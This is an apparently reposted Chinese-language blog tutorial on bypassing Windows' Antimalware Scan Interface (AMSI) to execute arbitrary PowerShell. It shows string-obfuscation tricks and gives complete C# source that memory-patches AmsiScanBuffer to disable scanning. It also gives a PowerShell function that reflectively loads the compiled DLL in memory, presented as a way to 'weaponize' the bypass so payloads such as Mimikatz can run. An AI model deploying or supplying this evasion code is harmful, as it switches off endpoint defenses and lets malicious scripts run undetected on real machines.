溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何繞過AMSI并執(zhí)行任意Powershell代碼

發(fā)布時間:2021-11-25 14:54:31 來源:億速云 閱讀:159 作者:柒染 欄目:編程語言

本篇文章給大家分享的是有關(guān)如何繞過AMSI并執(zhí)行任意Powershell代碼,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

眾所周知,AMSI會對獲取shell造成麻煩。

什么是AMSI?

AMSI全稱為“ANTI MALWARE SCAN INTERFACE”,即反惡意軟件掃描接口。顧名思義,它要做的就是掃描,檢測和阻止任何有害的東西。

還是不知道這是什么玩意?你可以查看下方截圖:

如何繞過AMSI并執(zhí)行任意Powershell代碼

顯然,如果你具有在Windows環(huán)境中滲透測試的經(jīng)驗,那么就應(yīng)該知道幾乎所有公開的腳本(包括Nishang,Empire,PowerSploit中的腳本)都會出現(xiàn)這樣的錯誤。

AMSI如何運作?

AMSI之前使用“基于字符串”的檢測方法來確定PowerShell代碼是否包含惡意代碼。見下圖:

如何繞過AMSI并執(zhí)行任意Powershell代碼

沒錯,“amsiutils”這個詞被禁止了。如果你的英文名中有這個詞,那么朋友,你就是AMSI眼中的的惡意人員。

如何繞過字符串檢測?

幾乎每個有經(jīng)驗的人都知道字符串檢測很容易繞過,只要不逐字地使用被禁止的字符串。而是使用編碼或?qū)⑵洳鸱譃閴K并重新組合就可以解決此問題。以下是執(zhí)行“被禁止”代碼且成功繞過的三種方法:

如何繞過AMSI并執(zhí)行任意Powershell代碼

這種方法簡單地將單詞分成兩半就足以繞過這種檢測。我們在混淆中見過許多。但在大多數(shù)情況下,這種方法沒什么用。

如何繞過AMSI并執(zhí)行任意Powershell代碼

在某些情況下,簡單地通過Base64解碼也可以繞過檢測。

如何繞過AMSI并執(zhí)行任意Powershell代碼

當(dāng)然,你也可以使用XOR來繞過AMSI并在運行時將字符串解回內(nèi)存。這是最有效的,因為這樣一來AMSI就需要更高的抽象來檢測惡意代碼。

以上所有這些技術(shù)都是圍繞字符串檢測展開的,但肯定還有其他方法。我想以原始狀態(tài)(即AMSI阻止它們的狀態(tài))執(zhí)行腳本。這樣可行嗎?

通過Memory Patching繞過AMSI

幾個月前,cyberark發(fā)布了一篇博文,描述了如何繞過AMSI。 微軟此后改變了AMSI處理PowerShell會話的方式,因此原始繞過技術(shù)現(xiàn)在無法起作用。Microsoft的更新更改了AMSI,因此PowerShell在掃描用戶輸入時不再使用AmsiScanString函數(shù)。

在下圖中,你可以看到AmsiScanString已被AmsiScanBuffer API替換:

如何繞過AMSI并執(zhí)行任意Powershell代碼

運行PowerShell MimiKatz payload時,出現(xiàn)如下錯誤:

如何繞過AMSI并執(zhí)行任意Powershell代碼

在此階段開始嘗試?yán)@過新的AMSI。 目標(biāo)是修補新的AmsiScanBuffer函數(shù)。下圖為函數(shù)文檔:

如何繞過AMSI并執(zhí)行任意Powershell代碼

如你所見,此函數(shù)要獲取所需掃描的緩沖區(qū)和緩沖區(qū)長度。 我們需要做的就是在存儲緩沖區(qū)長度的函數(shù)內(nèi)修補。這樣做掃描會以零長度上執(zhí)行。

嚴(yán)格來說,我們并沒有“繞過”,而是禁用了它。

AMSI有一些在運行任何PowerShell代碼之前就執(zhí)行的函數(shù)(從Powershell v3.0開始),因此為了完全繞過AMSI并執(zhí)行任何PowerShell惡意代碼,我們需要對它們進行memory patching來完全禁用它。

它適用于最新版本的Windows!我們可以將這種技術(shù)實用化并將其應(yīng)用于PowerShell腳本,因此可以在現(xiàn)實環(huán)境中利用它!

現(xiàn)在我們應(yīng)用上述技術(shù)的代碼編譯C#DLL,然后在PowerShell會話中加載并執(zhí)行此代碼,此舉可以完全禁用AMSI!

using System;using System.Runtime.InteropServices;namespace Bypass{    public class AMSI    {        [DllImport("kernel32")]        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);        [DllImport("kernel32")]        public static extern IntPtr LoadLibrary(string name);        [DllImport("kernel32")]        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);        public static int Disable()        {            IntPtr TargetDLL = LoadLibrary("amsi.dll");            if (TargetDLL == IntPtr.Zero)            {                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");                return 1;            }            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");            if (AmsiScanBufferPtr == IntPtr.Zero)            {                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");                return 1;            }            UIntPtr dwSize = (UIntPtr)5;            uint Zero = 0;            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))            {                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");                return 1;            }            Byte[] Patch = { 0x31, 0xff, 0x90 };            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);            Marshal.Copy(Patch, 0, unmanagedPointer, 3);            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);            Console.WriteLine("AmsiScanBuffer patch has been applied.");            return 0;        }    }}

效果如下圖:

如何繞過AMSI并執(zhí)行任意Powershell代碼

這樣我們就可以完全繞過檢測??梢宰杂杉虞d任何PowerShell腳本,無論是否惡意。通過將此類方法與你的工具相結(jié)合,成功率將大大提升。

通過PowerShell進行武器化使用

當(dāng)然,在滲透測試中,我們必須擁有自動應(yīng)用此類技術(shù)的工具。同樣,當(dāng)我們通過C#使用.NET框架時,可以在運行時創(chuàng)建一個映射DLL到內(nèi)存的Posh腳本,而無需將DLL接觸磁盤。

以下是禁用AMSI的PowerShell腳本:

function Bypass-AMSI{    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null        Write-Output "DLL has been reflected";    }    [Bypass.AMSI]::Disable()}

這不會被檢測,因為它根本不包含任何惡意內(nèi)容。它只是將.NET程序加載到內(nèi)存并執(zhí)行代碼。執(zhí)行后,你就可以執(zhí)行PowerShell任意代碼。

效果見下圖:

如何繞過AMSI并執(zhí)行任意Powershell代碼

這種技術(shù)非常棒且非常有用,之前被AMSI阻止過的腳本,加上這樣的方法即可解決。

以上就是如何繞過AMSI并執(zhí)行任意Powershell代碼,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI